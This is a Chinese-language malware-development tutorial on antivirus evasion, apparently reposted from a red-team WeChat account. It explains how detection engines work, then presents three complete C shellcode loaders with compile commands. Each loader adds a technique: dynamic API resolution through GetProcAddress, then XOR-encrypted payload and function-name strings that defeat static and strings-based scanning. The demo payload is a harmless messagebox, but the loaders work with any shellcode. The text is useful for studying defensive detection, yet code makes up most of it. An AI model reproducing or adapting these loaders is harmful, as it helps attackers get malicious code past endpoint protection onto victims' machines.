04-免杀
01-了解查杀机制
静态查杀:通过静态字节、字符特征进行查杀,如函数名、变量名等,与已知规则进行比对,如YARA工具。可以尽量不用硬编码方式避免静态查杀
启发式查杀:
1-反汇编查看功能代码段是否与已知恶意程序相似
2-沙箱运行查看行为特征
动态启发查杀:沙箱检测动态行为,如分配内存后连接反弹shell再写入内存,通过记录行为顺序,比对已知恶意行为
行为分析:监测进程行为,如发现加载dll,调用敏感API函数,建立网络连接等可疑行为,再通过内存扫描,确定是恶意软件则终止进程,或者不用内存扫描直接终止进程,如将shellcode注入到记事本进程,发现后立即终止
02-静态检测逃逸
避免硬编码命中已知恶意软件静态规则,简单来说就是通过地址调用避免出现函数名
代码
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// our payload "Hello world" messagebox
unsigned char my_payload[] =
"x48x83xECx28x48x83xE4xF0x48x8Dx15x66x00x00x00"
"x48x8Dx0Dx52x00x00x00xE8x9Ex00x00x00x4Cx8BxF8"
"x48x8Dx0Dx5Dx00x00x00xFFxD0x48x8Dx15x5Fx00x00"
"x00x48x8Dx0Dx4Dx00x00x00xE8x7Fx00x00x00x4Dx33"
"xC9x4Cx8Dx05x61x00x00x00x48x8Dx15x4Ex00x00x00"
"x48x33xC9xFFxD0x48x8Dx15x56x00x00x00x48x8Dx0D"
"x0Ax00x00x00xE8x56x00x00x00x48x33xC9xFFxD0x4B"
"x45x52x4Ex45x4Cx33x32x2Ex44x4Cx4Cx00x4Cx6Fx61"
"x64x4Cx69x62x72x61x72x79x41x00x55x53x45x52x33"
"x32x2Ex44x4Cx4Cx00x4Dx65x73x73x61x67x65x42x6F"
"x78x41x00x48x65x6Cx6Cx6Fx20x77x6Fx72x6Cx64x00"
"x4Dx65x73x73x61x67x65x00x45x78x69x74x50x72x6F"
"x63x65x73x73x00x48x83xECx28x65x4Cx8Bx04x25x60"
"x00x00x00x4Dx8Bx40x18x4Dx8Dx60x10x4Dx8Bx04x24"
"xFCx49x8Bx78x60x48x8BxF1xACx84xC0x74x26x8Ax27"
"x80xFCx61x7Cx03x80xECx20x3AxE0x75x08x48xFFxC7"
"x48xFFxC7xEBxE5x4Dx8Bx00x4Dx3BxC4x75xD6x48x33"
"xC0xE9xA7x00x00x00x49x8Bx58x30x44x8Bx4Bx3Cx4C"
"x03xCBx49x81xC1x88x00x00x00x45x8Bx29x4Dx85xED"
"x75x08x48x33xC0xE9x85x00x00x00x4Ex8Dx04x2Bx45"
"x8Bx71x04x4Dx03xF5x41x8Bx48x18x45x8Bx50x20x4C"
"x03xD3xFFxC9x4Dx8Dx0Cx8Ax41x8Bx39x48x03xFBx48"
"x8BxF2xA6x75x08x8Ax06x84xC0x74x09xEBxF5xE2xE6"
"x48x33xC0xEBx4Ex45x8Bx48x24x4Cx03xCBx66x41x8B"
"x0Cx49x45x8Bx48x1Cx4Cx03xCBx41x8Bx04x89x49x3B"
"xC5x7Cx2Fx49x3BxC6x73x2Ax48x8Dx34x18x48x8Dx7C"
"x24x30x4Cx8BxE7xA4x80x3Ex2Ex75xFAxA4xC7x07x44"
"x4Cx4Cx00x49x8BxCCx41xFFxD7x49x8BxCCx48x8BxD6"
"xE9x14xFFxFFxFFx48x03xC3x48x83xC4x28xC3";
unsigned int my_payload_len = sizeof(my_payload);
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
// make new buffer as executable
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
// run payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
编译
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
反汇编查看
objdump -x -D hack.exe | less
发现
导入了KERNEL32.dll中的CreateThread, VirtualAlloc, VirtualProtect, WaitForSingleObject函数
隐藏VirtualAlloc调用,定义一个函数指针
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
使用GetProcAddress获取kernel32.dll中VirtualAlloc地址,给到上面定义的函数指针
pVirtualAlloc = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
通过pVirtualAlloc调用原来函数即可,完整代码
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// our payload "Hello world" messagebox
unsigned char payload[] =
"x48x83xECx28x48x83xE4xF0x48x8Dx15x66x00x00x00"
"x48x8Dx0Dx52x00x00x00xE8x9Ex00x00x00x4Cx8BxF8"
"x48x8Dx0Dx5Dx00x00x00xFFxD0x48x8Dx15x5Fx00x00"
"x00x48x8Dx0Dx4Dx00x00x00xE8x7Fx00x00x00x4Dx33"
"xC9x4Cx8Dx05x61x00x00x00x48x8Dx15x4Ex00x00x00"
"x48x33xC9xFFxD0x48x8Dx15x56x00x00x00x48x8Dx0D"
"x0Ax00x00x00xE8x56x00x00x00x48x33xC9xFFxD0x4B"
"x45x52x4Ex45x4Cx33x32x2Ex44x4Cx4Cx00x4Cx6Fx61"
"x64x4Cx69x62x72x61x72x79x41x00x55x53x45x52x33"
"x32x2Ex44x4Cx4Cx00x4Dx65x73x73x61x67x65x42x6F"
"x78x41x00x48x65x6Cx6Cx6Fx20x77x6Fx72x6Cx64x00"
"x4Dx65x73x73x61x67x65x00x45x78x69x74x50x72x6F"
"x63x65x73x73x00x48x83xECx28x65x4Cx8Bx04x25x60"
"x00x00x00x4Dx8Bx40x18x4Dx8Dx60x10x4Dx8Bx04x24"
"xFCx49x8Bx78x60x48x8BxF1xACx84xC0x74x26x8Ax27"
"x80xFCx61x7Cx03x80xECx20x3AxE0x75x08x48xFFxC7"
"x48xFFxC7xEBxE5x4Dx8Bx00x4Dx3BxC4x75xD6x48x33"
"xC0xE9xA7x00x00x00x49x8Bx58x30x44x8Bx4Bx3Cx4C"
"x03xCBx49x81xC1x88x00x00x00x45x8Bx29x4Dx85xED"
"x75x08x48x33xC0xE9x85x00x00x00x4Ex8Dx04x2Bx45"
"x8Bx71x04x4Dx03xF5x41x8Bx48x18x45x8Bx50x20x4C"
"x03xD3xFFxC9x4Dx8Dx0Cx8Ax41x8Bx39x48x03xFBx48"
"x8BxF2xA6x75x08x8Ax06x84xC0x74x09xEBxF5xE2xE6"
"x48x33xC0xEBx4Ex45x8Bx48x24x4Cx03xCBx66x41x8B"
"x0Cx49x45x8Bx48x1Cx4Cx03xCBx41x8Bx04x89x49x3B"
"xC5x7Cx2Fx49x3BxC6x73x2Ax48x8Dx34x18x48x8Dx7C"
"x24x30x4Cx8BxE7xA4x80x3Ex2Ex75xFAxA4xC7x07x44"
"x4Cx4Cx00x49x8BxCCx41xFFxD7x49x8BxCCx48x8BxD6"
"xE9x14xFFxFFxFFx48x03xC3x48x83xC4x28xC3";
int main(void) {
void * payload_mem; // memory buffer for payload
BOOL result;
HANDLE thread_handle;
DWORD oldprotect = 0;
// Allocate memory buffer for payload
pVirtualAlloc = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
payload_mem = pVirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy payload to buffer
RtlMoveMemory(payload_mem, payload, sizeof(payload));
// make new buffer as executable
result = VirtualProtect(payload_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldprotect);
if ( result != 0 ) {
// run payload
thread_handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) payload_mem, 0, 0, 0);
WaitForSingleObject(thread_handle, -1);
}
return 0;
}
编译
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lws2_32
反汇编查看
objdump -x -D hack2.exe | less
已经没有VirtualAlloc的调用了,但是查看字符串信息
strings -n 8 hack2.exe | less
还是可以发现VirtualAlloc,因为代码里面使用GetProcAddress获取地址的时候使用了字符串,可以使用XOR加解密字符串
void deXOR(char *buffer, size_t bufferLength, char *key, size_t
keyLength) {
int keyIndex = 0;
for (int i = 0; i < bufferLength; i++) {
if (keyIndex == keyLength - 1) keyIndex = 0;
buffer[i] = buffer[i] ^ key[keyIndex];
keyIndex++;
}
}
完整代码
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// payload: messagebox (XOR encrypted)
unsigned char payload[] = { 0x3b, 0xe6, 0x8f, 0x5a, 0x2d, 0xf7, 0x97, 0x95, 0x2b, 0xff, 0x70, 0x12, 0x73, 0x65, 0x63, 0x3a, 0xe8, 0x79, 0x21, 0x65, 0x63, 0x72, 0x8d, 0xea, 0x73, 0x65, 0x63, 0x3e, 0xee, 0x8c, 0x3b, 0xe8, 0x6e, 0x2f, 0x65, 0x74, 0x73, 0x9a, 0xb3, 0x3a, 0xe8, 0x61, 0x2c, 0x65, 0x63, 0x72, 0x2d, 0xf9, 0x7e, 0x28, 0x63, 0x72, 0x65, 0x9c, 0xc, 0x65, 0x63, 0x72, 0x28, 0x47, 0xba, 0x29, 0xee, 0x77, 0x4, 0x74, 0x73, 0x65, 0x2b, 0xff, 0x70, 0x3a, 0x73, 0x65, 0x63, 0x3a, 0x56, 0xbd, 0x8c, 0xb5, 0x2b, 0xff, 0x70, 0x22, 0x73, 0x65, 0x63, 0x3a, 0xe8, 0x79, 0x79, 0x65, 0x63, 0x72, 0x8d, 0x22, 0x73, 0x65, 0x63, 0x3a, 0x56, 0xbd, 0x8c, 0xb5, 0x28, 0x37, 0x37, 0x3a, 0x36, 0x29, 0x50, 0x40, 0x4b, 0x30, 0x3f, 0x29, 0x63, 0x3e, 0xa, 0x15, 0x17, 0x29, 0xa, 0x10, 0x17, 0x15, 0x1, 0x1c, 0x22, 0x72, 0x30, 0x27, 0x36, 0x37, 0x50, 0x40, 0x4b, 0x30, 0x3f, 0x29, 0x63, 0x3f, 0x0, 0x7, 0x0, 0x4, 0x4, 0x17, 0x27, 0x1b, 0xb, 0x24, 0x63, 0x3a, 0x0, 0x18, 0x1f, 0xa, 0x43, 0x5, 0xa, 0x6, 0x1f, 0x1, 0x63, 0x3f, 0x0, 0x7, 0x0, 0x4, 0x4, 0x17, 0x65, 0x31, 0xb, 0xc, 0x17, 0x22, 0x17, 0x1b, 0x10, 0x0, 0x10, 0x1, 0x65, 0x3c, 0xf0, 0x89, 0x4b, 0x17, 0x29, 0xff, 0x77, 0x40, 0x3, 0x72, 0x65, 0x74, 0x3e, 0xee, 0x23, 0x6a, 0x28, 0xf9, 0x13, 0x75, 0x2e, 0xf9, 0x61, 0x50, 0x8f, 0x2c, 0xe8, 0xa, 0x5, 0x3c, 0xf8, 0x94, 0xcf, 0xf6, 0xa5, 0x0, 0x55, 0xef, 0x44, 0xf2, 0x99, 0x15, 0xf, 0x66, 0xe3, 0x9e, 0x45, 0x4e, 0x93, 0x10, 0x6b, 0x3a, 0x9a, 0xb3, 0x3b, 0x9a, 0xa4, 0x99, 0x80, 0x39, 0xf8, 0x65, 0x2e, 0x49, 0xa1, 0x1, 0xa5, 0x2d, 0x50, 0xb2, 0x8c, 0xd3, 0x73, 0x65, 0x63, 0x3b, 0xee, 0x2c, 0x43, 0x21, 0xe8, 0x39, 0x59, 0x38, 0x70, 0xae, 0x2a, 0xf3, 0xa4, 0xfc, 0x73, 0x65, 0x63, 0x37, 0xee, 0x5d, 0x3e, 0xe0, 0x8e, 0x7, 0x6d, 0x3c, 0x40, 0xa5, 0x8a, 0xf7, 0x65, 0x74, 0x73, 0x2b, 0xee, 0x76, 0x4e, 0x31, 0xf8, 0x14, 0x67, 0x3f, 0x66, 0x81, 0x32, 0xee, 0x2b, 0x6a, 0x20, 0xff, 0x23, 0x45, 0x2f, 0x71, 0xb6, 0x8b, 0xba, 0x28, 0xee, 0x7e, 0xef, 0x35, 0xf8, 0x5c, 0x2b, 0x71, 0x9e, 0x3c, 0xf8, 0x97, 0xc5, 0x7, 0x6d, 0xfe, 0x75, 0xe1, 0xa3, 0x6, 0x6c, 0x9f, 0x86, 0x87, 0x85, 0x3a, 0x56, 0xb4, 0x98, 0x2b, 0x26, 0xf9, 0x2d, 0x50, 0x3f, 0x66, 0xa8, 0x14, 0x24, 0xff, 0x7f, 0x2c, 0x26, 0xf9, 0x2d, 0x68, 0x3f, 0x66, 0xa8, 0x33, 0xee, 0x70, 0xfa, 0x2c, 0x58, 0xb7, 0x19, 0x5b, 0x3a, 0x5e, 0xa5, 0x1, 0x4f, 0x3c, 0xfe, 0x51, 0x7b, 0x3a, 0xe8, 0x8, 0x57, 0x55, 0x2f, 0xf9, 0x82, 0xd0, 0xf3, 0x5b, 0x4d, 0x7, 0x9f, 0xd0, 0xb4, 0x62, 0x27, 0x3e, 0x29, 0x74, 0x3a, 0xee, 0xaf, 0x33, 0x9a, 0xa3, 0x3a, 0xee, 0xaf, 0x3a, 0xee, 0xa2, 0x9a, 0x71, 0x9c, 0x8d, 0x9a, 0x3c, 0x70, 0xa6, 0x2b, 0xf1, 0xa1, 0x5c, 0xb0 };
unsigned char cVirtualAlloc[] = { 0x25, 0xc, 0x11, 0x6, 0x10, 0x15, 0x1f, 0x24, 0xf, 0x1e, 0xa, 0x17 };
char secretKey[] = "secret";
// encryption / decryption XOR function
void deXOR(char *buffer, size_t bufferLength, char *key, size_t keyLength) {
int keyIndex = 0;
for (int i = 0; i < bufferLength; i++) {
if (keyIndex == keyLength - 1) keyIndex = 0;
buffer[i] = buffer[i] ^ key[keyIndex];
keyIndex++;
}
}
int main(void) {
void * payload_mem; // memory buffer for payload
BOOL result;
HANDLE thread_handle;
DWORD oldprotect = 0;
// decrypt payload
deXOR((char*)payload, sizeof(payload), secretKey, sizeof(secretKey));
deXOR((char*)cVirtualAlloc, sizeof(cVirtualAlloc), secretKey, sizeof(secretKey));
// allocate memory buffer for payload
HMODULE kernel = GetModuleHandle("kernel32.dll");
pVirtualAlloc = (LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(kernel, (LPCSTR)cVirtualAlloc);
payload_mem = pVirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy payload to buffer
RtlMoveMemory(payload_mem, payload, sizeof(payload));
// make new buffer as executable
result = VirtualProtect(payload_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldprotect);
if ( result != 0 ) {
// run payload
thread_handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) payload_mem, 0, 0, 0);
WaitForSingleObject(thread_handle, -1);
}
return 0;
}
编译
x86_64-w64-mingw32-g++ -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
查看字符串
strings -n 8 hack3.exe | grep "Virtual"
已经没有了
也可以使用RC4或者AES加密
配套实验环境和电子书加Q拉群下载
原文始发于微信公众号(高级红队专家):【MalDev-10】免杀-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论